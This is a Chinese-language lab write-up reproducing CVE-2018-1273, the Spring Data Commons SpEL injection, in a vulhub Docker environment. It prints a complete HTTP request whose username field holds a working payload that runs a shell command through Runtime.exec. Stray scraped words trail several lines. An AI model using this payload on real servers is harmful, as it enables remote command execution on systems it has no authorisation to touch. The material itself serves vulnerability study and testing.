CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

1、漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下全部子项目共享的基础框架。Spring Data Commons 在2.0.5及之前版本中,存在一处SpEL表达式注入漏洞,攻击者能够注入恶意SpEL表达式以执行任意命令。

2、漏洞环境搭建

须要准备的工具以下:

1.docker+vulhub漏洞库
2.Burpsuite
3.靶机Ubuntu18.04虚拟机(其余也能够)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程不少,这里就很少介绍了)html

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273#

执行命令java

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d

等到出现如下页面证实已经搭建完成

能够访问http://your-ip:8080,出现以下页面证实环境搭建成功!
web

3、漏洞利用

一、注册用户,提交抓包

二、构造payload,进行发包测试

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=

服务器返回以下页面时,证实攻击成功!
spring

三、进入Ubuntu环境中,执行

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
进入目录,查看tmp下的目录成功出现2333文件,命令执行成功!
docker

四、关闭docker环境

docker-compose down
数据库

相关文章
相关标签/搜索